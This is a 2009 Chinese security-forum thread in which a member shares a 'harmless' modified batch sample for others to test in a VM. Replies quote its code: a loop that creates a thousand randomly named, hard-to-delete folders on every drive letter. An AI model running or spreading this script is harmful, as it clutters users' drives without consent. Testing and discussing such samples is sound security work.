·····这个，不是毒，别怕 （深夜收集小白鼠）

抓抓

小白鼠们^^^^^^^又到吃药的时间了^^^^^^高兴吧？^^^^^^^

------------------------------------------------------------


这次是一个批处理。。而已。。。


样本区的，，有点老。删改了一点点，，没恶意了。。。

仅供玩玩，，没什么特别用意。。。。



下载：



原样本连接：http://bbs.kafan.cn/thread-414656-1-3.html


警示：无论样本有无恶意，都最好在虚拟机里搞。。

如果你中了，，请跟贴（为comodo区贡献一点可见人气），并说明，，
或留下email，，瓦秘密传送乃解药。。。
否则乃自己解决。。。


[ 本帖最后由 秘书 于 2009-2-5 17:11 编辑 ]

抓抓

占位，，围观楼下。。。。。。



在80楼提供简单完美的解药。。。

[ 本帖最后由 抓抓 于 2009-2-5 11:55 编辑 ]

V!RTUAL

深夜起来喝水，想不到中毒，原来是抓兄干的，幸好毒不大，没事！继续睡觉！

Atlantis祭司

我的防御是NIS+天天只逛卡饭看帖回帖不下样本的超级好的上网习惯！

madwanglei

头像不错~~

小静电

呵呵，具体看图。抓抓最好能解释一下，这个批处理的作用。
dos我不会。

xing020010

    不是小白鼠的路过 。。。。。

huangqian202

运行和上面截图一样的。。。

nantiansz

@echo off
set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z
for /l %%a in (1,1,1000) do for %%b in (%alldrive%) do md %%b:\%random%%random%%random%%%a..\
exit
好像就是在每个驱动器下面创建一个目录。

小静电

原帖由 nantiansz 于 2009-2-5 08:22 发表
@echo off
set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z
for /l %%a in (1,1,1000) do for %%b in (%alldrive%) do md %%b:\%random%%random%%random%%%a..\
exit
好像就是在每个驱动器下面创 ...

不好了已经中招了，其实是在每个硬盘根目录里建立空文件夹，而且不好删除。可不是一个应该是1000个。